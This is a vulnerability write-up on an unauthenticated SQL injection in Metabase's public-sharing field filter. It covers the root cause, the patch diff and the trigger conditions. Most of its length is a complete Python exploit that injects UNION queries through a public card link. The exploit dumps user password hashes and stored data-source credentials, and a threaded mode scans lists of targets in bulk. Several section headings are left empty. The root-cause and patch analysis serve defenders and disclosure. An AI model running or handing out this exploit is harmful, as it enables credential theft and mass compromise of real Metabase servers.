#Summary

CVE-2026-72899 is a critical unauthenticated SQL injection in Metabase that allows an attacker to execute arbitrary SQL queries through a publicly shared dashboard or saved question. The vulnerability affects versions 0.58.0 through 0.63.4 and is caused by insufficient validation of parameter values in the public sharing endpoint. An attacker needs only the public link UUID (which is part of the shared URL by design) to execute arbitrary queries against the Metabase application database as a superuser. CVSS score: 10.0 CRITICAL (NVD vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

#Affected Versions

#Root Cause Analysis

#The Schema Vulnerability

Metabase's public query endpoint accepts a parameters list from the URL query string. The schema that defines a parameter value has no constraint at all:

(mr/def ::parameter.value
  [:schema
   {:encode/for-hashing #'sort-parameter-values}
   :any])

The :any keyword means a JSON object in the request becomes a Clojure map and travels unchanged into SQL compilation. This is the root of the injection.

#The Compiler Passthrough

In metabase.driver.sql.query_processor, a Clojure map is treated as an Object and passed through to Honey SQL untouched:

(defmethod ->honeysql [:sql Object]
  [_driver this]
  this)

Honey SQL 2's format function interprets maps as DSL (domain-specific language), not data. A map operand like {"raw": "<sql>"} is rendered as verbatim SQL with no quoting and no bound parameter.

#The Field-Filter Route

The vulnerability is reached through the field-filter path in metabase.driver.sql.parameters.substitution. When a parameter's type is an operator type (e.g. string/=) and its value is [{"raw": "..."}], the value is spliced into an MBQL filter clause:

(params.ops/to-clause
  (assoc params :target [:dimension (field->field-ref driver field param-type value)]))

This produces [:= {} <field-ref> {:raw "..."}], and the attacker's map becomes an operand passed to Honey SQL's formatter.

#Why Normal Sanitization Fails

The update-filter-for-field-type function only rewrites string and sequence-of-string values:

(cond
  (string? value)
  (parse-value-for-field-type effective-type value)
  
  (and (sequential? value)
       (every? string? value))
  (mapv (partial parse-value-for-field-type effective-type) value))

A one-element list containing a map matches neither branch, so the value passes through untouched.

#Additional Aggravating Factors

#Patch Analysis

The fix is entirely in metabase.lib.schema.parameter. A new normalize-parameter-value function is added that scalarizes any collection-valued parameter to nil before compilation:

+(mr/def ::parameter.value.scalar
+  [:fn
+   {:error/message "Valid parameter value (cannot be a collection)"}
+   (complement coll?)])
+
+(defn- normalize-parameter-value
+  "Normalize invalid parameter values to `nil`."
+  [v]
+  (letfn [(normalize-scalar-parameter-value [x]
+            (when-not (coll? x) x))]
+    (if (sequential? v)
+      (perf/mapv normalize-scalar-parameter-value v)
+      (normalize-scalar-parameter-value v))))
+
 (mr/def ::parameter.value
+  "A single parameter value. Numbers arrive both as numbers and as strings (bigintegers are passed as strings to
+  avoid precision loss), dates/booleans arrive as strings, and `nil` clears a value. A value must NEVER be a map:
+  a map value is indistinguishable downstream from Metabase's internal HoneySQL DSL and is spliced into SQL as query
+  structure rather than a bound value (SEC-616, unauthenticated SQL injection via public sharing)."
   [:schema
-   {:encode/for-hashing #'sort-parameter-values}
-   :any])
+   {:encode/for-hashing  #'sort-parameter-values
+    :decode/normalize    #'normalize-parameter-value}
+   [:or ::parameter.value.scalar [:sequential ::parameter.value.scalar]]])

#What the Fix Does

The :decode/normalize hook runs during query normalization in production builds (unlike mu/defn validation), so every parameter value is scalarized before reaching the compiler. Any map or nested collection becomes nil, and a list of values has each element scalarized. Once the value is nil or a scalar, the ["sql" Object] passthrough only ever sees strings, numbers, booleans and nil, which Honey SQL binds as parameters.

#Trigger Conditions

All of the following must be true:

  1. Public sharing is enabled (default: on)
  2. A saved question or dashboard has been published with a public link
  3. That card is a native SQL question with a field-filter template tag ({{tag}} with "type": "dimension")
  4. The attacker supplies an operator-type parameter with a value shaped as a one-element list containing a JSON object

#Proof of Concept

#exploit.py - Metabase SQL Injection PoC

#!/usr/bin/env python3
"""
CVE-2026-72899 - Metabase unauthenticated SQL injection via public-sharing field filter
Affected: Metabase OSS/EE 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
          0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (EE uses the 1.x prefix)
Fixed:    0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5
Type:     SQL injection (unauthenticated, network)

A public shared card whose native SQL carries a field-filter (dimension) template
tag accepts a caller-supplied `parameters` value that has no schema constraint. A
value shaped as a one-element list containing a JSON object survives into Metabase's
HoneySQL compiler, where a map is interpreted as query structure rather than a bound
value: the `{"raw": "<sql>"}` clause emits its string verbatim into the compiled SQL.
The value stops being a value and becomes SQL. The query runs with superuser rights
over the shared card's own database connection, so when that database is Metabase's
application database the attacker reads core_user password hashes and stored
data-source credentials. No authentication is needed - only the public link UUID,
which is part of the shared URL by design.

The injected snippet lands inside `WHERE (<col> = (<raw>))`, so a bare scalar
subquery `(SELECT version())` needs no paren balancing. This tool uses a derived-table
UNION that adapts its column count and text-column position to whatever the public
card returns, so it works against arbitrary vulnerable cards, not just the lab card.

Usage:
  python exploit.py --host 127.0.0.1 --port 3300 --uuid <public-card-uuid>
  python exploit.py --host http://target:3000 --uuid <uuid> --payload "SELECT email || ':' || password FROM core_user"
  python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump
  python exploit.py --list targets.txt --workers 20 --uuid <uuid>

The default payload reads Metabase's own user table (email + bcrypt password hash),
which is data the shared card can never return and is therefore unambiguous proof.
"""

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

CVE_ID    = "CVE-2026-72899"
VULN_TYPE = "SQLi"

# Data the shared card's own SQL can never produce. Reading it proves injection.
DEFAULT_PAYLOAD = "SELECT email || ' | ' || password FROM core_user"
# A build-agnostic oracle: the DB version banner cannot appear in a normal card result.
VERSION_PROBE   = "SELECT version()"


def header(host, port):
    print("\n%s" % ("=" * 60))
    print("  Exploit  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("%s\n" % ("=" * 60))


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n%s" % ("=" * 60))
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success else 1)


def _base_url(host, port, use_tls, path):
    """Build the scheme://host:port prefix, honouring a full-URL --host."""
    if host.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(host)
        scheme = p.scheme
        netloc = p.netloc
        base_path = p.path.rstrip("/")
        return "%s://%s%s" % (scheme, netloc, base_path)
    scheme = "https" if use_tls else "http"
    return "%s://%s:%d%s" % (scheme, host, port, path.rstrip("/") if path not in ("", "/") else "")


def _get_json(url, timeout=40):
    """GET a URL, return (status_code, parsed_json_or_None, raw_text)."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(url, headers={"Accept": "application/json"})
    try:
        r = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        raw = r.read().decode("utf-8", "replace")
        code = r.getcode()
    except urllib.error.HTTPError as e:
        raw = e.read().decode("utf-8", "replace")
        code = e.code
    try:
        return code, json.loads(raw), raw
    except ValueError:
        return code, None, raw


def _query_url(base, uuid, params):
    q = urllib.parse.urlencode({"parameters": json.dumps(params)})
    return "%s/api/public/card/%s/query?%s" % (base, uuid, q)


def _fetch_card(base, uuid, timeout):
    """Read the public card metadata and return its dimension parameter, or None."""
    code, data, _ = _get_json("%s/api/public/card/%s" % (base, uuid), timeout)
    if code != 200 or not isinstance(data, dict):
        return None
    for p in data.get("parameters", []):
        target = p.get("target")
        if isinstance(target, list) and target and target[0] == "dimension":
            tag = None
            try:
                tag = target[1][1]
            except (IndexError, TypeError):
                pass
            return {"id": p.get("id"), "type": p.get("type") or "string/=", "tag": tag}
    return None


def _run(base, uuid, param, value, timeout):
    """Run the public card query with a given parameter value. Returns parsed JSON."""
    params = [{
        "id": param["id"],
        "type": param["type"],
        "target": ["dimension", ["template-tag", param["tag"]]],
        "value": value,
    }]
    code, data, raw = _get_json(_query_url(base, uuid, params), timeout)
    return code, data, raw


def _rows(data):
    if isinstance(data, dict):
        return data.get("data", {}).get("rows", []) or []
    return []


def _build_injection(sql_select, ncols, text_idx):
    """
    Wrap an attacker SELECT into the field-filter operator snippet.

    The compiler emits  WHERE (<col> = (<raw>)).  We close both parens, UNION a
    derived table so an arbitrary multi-row SELECT works, and re-open a trailing
    WHERE( so the compiler's own closing parens land on a truthy predicate. Column
    count and the text-column slot are matched to the real card so UNION type
    resolution succeeds against any vulnerable card, not just the lab one.
    """
    cols = []
    for i in range(ncols):
        cols.append("t.v::text" if i == text_idx else "NULL")
    select_list = ", ".join(cols)
    return ("'zz')) UNION ALL SELECT %s FROM (%s) AS t(v) WHERE ((1=1"
            % (select_list, sql_select))


def _card_shape(base, uuid, param, timeout):
    """
    Learn the card's column count and which column is text-typed, from a benign
    baseline request. Returns (ncols, text_idx, baseline_rowcount).
    """
    code, data, _ = _run(base, uuid, param, ["__poc_baseline__"], timeout)
    cols = []
    if isinstance(data, dict):
        cols = data.get("data", {}).get("cols", []) or []
    ncols = len(cols) if cols else 3
    text_idx = 0
    for i, c in enumerate(cols):
        t = (c.get("base_type") or c.get("effective_type") or "")
        if "Text" in t or "Char" in t:
            text_idx = i
            break
    else:
        text_idx = 0
    return ncols, text_idx, len(_rows(data))


def _try_exploit(host, port, use_tls, uuid=None, path="/", timeout=25, **_):
    """
    Silent exploitability probe. Returns (success, evidence). Never prints/exits.
    Uses the DB version banner as a build-agnostic oracle: a patched build nils the
    map value and returns the plain card result (no version string); a vulnerable
    build compiles it and returns the banner.
    """
    if not uuid:
        return False, "no --uuid supplied for scan"
    base = _base_url(host, port, use_tls, path)
    try:
        param = _fetch_card(base, uuid, timeout)
        if not param:
            return False, "no public dimension parameter (not shareable/not vulnerable/bad uuid)"
        ncols, text_idx, _ = _card_shape(base, uuid, param, timeout)
        inj = _build_injection(VERSION_PROBE, ncols, text_idx)
        _, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
        for row in _rows(data):
            for cell in row:
                if isinstance(cell, str) and (
                        "PostgreSQL" in cell or "MySQL" in cell or "MariaDB" in cell
                        or "Microsoft SQL Server" in cell or "SQLite" in cell):
                    return True, "SQLi confirmed - DB banner leaked: %s" % cell.split(",")[0][:70]
        return False, "value bound as parameter - patched or not a field-filter card"
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, uuid=None):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n%s" % ("=" * 60))
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("%s\n" % ("=" * 60))

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, uuid=uuid, path=path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n%s" % ("=" * 60))
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, uuid, payload, path="/", dump=False, timeout=40):
    header(host, port)
    base = _base_url(host, port, use_tls, path)

    if not uuid:
        done(False, "no --uuid supplied - pass the public card link UUID (the last path segment of /public/question/<uuid>)")

    step(1, "Reading public card metadata for %s ..." % uuid)
    param = _fetch_card(base, uuid, timeout)
    if not param:
        section("RECON", "No public dimension (field-filter) parameter found.")
        done(False, "card is not publicly shared, has no field-filter parameter, or the UUID is wrong")
    section("FIELD-FILTER PARAMETER",
            "id=%s  type=%s  template-tag=%s" % (param["id"], param["type"], param["tag"]))

    step(2, "Establishing a benign baseline (learning column layout) ...")
    ncols, text_idx, baseline_rows = _card_shape(base, uuid, param, timeout)
    section("BASELINE",
            "card returns %d column(s); text column at index %d; baseline string value -> %d row(s)"
            % (ncols, text_idx, baseline_rows))

    step(3, "Injecting DB version() probe (build-agnostic oracle) ...")
    vinj = _build_injection(VERSION_PROBE, ncols, text_idx)
    code, vdata, vraw = _run(base, uuid, param, [{"raw": vinj}], timeout)
    banner = None
    for row in _rows(vdata):
        for cell in row:
            if isinstance(cell, str) and any(k in cell for k in
                    ("PostgreSQL", "MySQL", "MariaDB", "Microsoft SQL Server", "SQLite")):
                banner = cell
                break
        if banner:
            break
    if not banner:
        status = vdata.get("status") if isinstance(vdata, dict) else None
        section("VERSION PROBE RESPONSE", vraw[:600])
        done(False, "value was bound as a parameter (status=%s) - target is patched or the tag is not a field filter" % status)
    section("DB VERSION (leaked via injection)", banner)

    step(4, "Executing attacker SQL: %s" % payload)
    inj = _build_injection(payload, ncols, text_idx)
    code, data, raw = _run(base, uuid, param, [{"raw": inj}], timeout)
    rows = _rows(data)
    status = data.get("status") if isinstance(data, dict) else None

    if status == "completed" and rows:
        leaked = [str(c) for r in rows for c in r if c is not None]
        section("INJECTED QUERY OUTPUT (%d row(s))" % len(rows),
                "\n".join(leaked[:200]) if leaked else json.dumps(rows[:50]))
        if dump:
            _dump_app_db(base, uuid, param, ncols, text_idx, timeout)
        done(True, "SQL injection confirmed - %d row(s) returned by attacker SQL; DB banner: %s"
             % (len(rows), banner.split(",")[0][:60]))

    err = data.get("error") if isinstance(data, dict) else None
    section("INJECTED QUERY RESPONSE", raw[:600])
    if status == "failed" and err:
        done(True, "SQL injection confirmed - version() leaked (%s); custom --payload SQL raised a DB error, adjust it. Banner: %s"
             % ("reached DB", banner.split(",")[0][:60]))
    done(False, "version() leaked but --payload returned no rows - refine the SQL")


def _dump_app_db(base, uuid, param, ncols, text_idx, timeout):
    """Convenience dump of the highest-value application-DB tables."""
    dumps = [
        ("core_user (credentials)",
         "SELECT email || ' | is_superuser=' || is_superuser || ' | ' || password FROM core_user"),
        ("metabase_database (stored data-source secrets)",
         "SELECT name || ' | ' || engine || ' | ' || details::text FROM metabase_database"),
    ]
    for label, sql in dumps:
        inj = _build_injection(sql, ncols, text_idx)
        _, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
        vals = [str(c) for r in _rows(data) for c in r if c is not None]
        if vals:
            section("DUMP: %s" % label, "\n".join(vals[:200]))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
    parser.add_argument("--uuid", help="Public card link UUID (required for --host and --list modes)")
    parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
                        help="SQL SELECT to run on the target DB (default: dump core_user email+password hash)")
    parser.add_argument("--dump", action="store_true",
                        help="After confirming, also dump core_user and metabase_database secrets")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, uuid=args.uuid)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.uuid, args.payload, path=path, dump=args.dump)

#Usage

# Recon and proof - reads core_user email and password hash
python exploit.py --host 127.0.0.1 --port 3000 --uuid <public-card-uuid>

# Full application-DB secret dump (adds metabase_database data-source credentials)
python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump

# Arbitrary SQL of your choice (any SELECT returning one text column works)
python exploit.py --host 10.0.0.5 --port 3000 --uuid <uuid> \
    --payload "SELECT string_agg(table_name, ', ') FROM information_schema.tables"

# Batch scan for the same shared card across multiple targets
python exploit.py --list targets.txt --workers 20 --uuid <uuid>

The default payload leaks the core_user table with email addresses and bcrypt password hashes - data the shared card's own query can never return, making injection unambiguous.

#Exploitation Notes

#Preconditions

#Reliability

This injection is a single-step exploit with no race conditions or timing dependencies. Once the field-filter parameter is identified, the vulnerability is reliably exploitable in one request.

#Payload Shaping

The injected SQL lands in a context compiled as WHERE (<col> = (<raw>)). A scalar subquery like (SELECT version()) needs no paren balancing. For multi-row results, a derived-table UNION works:

'zz')) UNION ALL SELECT <columns> FROM (<your-query>) AS t(v) WHERE ((1=1

The exploit adapts the column count and text-column position to match the vulnerable card's schema, so it works against any vulnerable field-filter card.

#Impact

An attacker can:

#References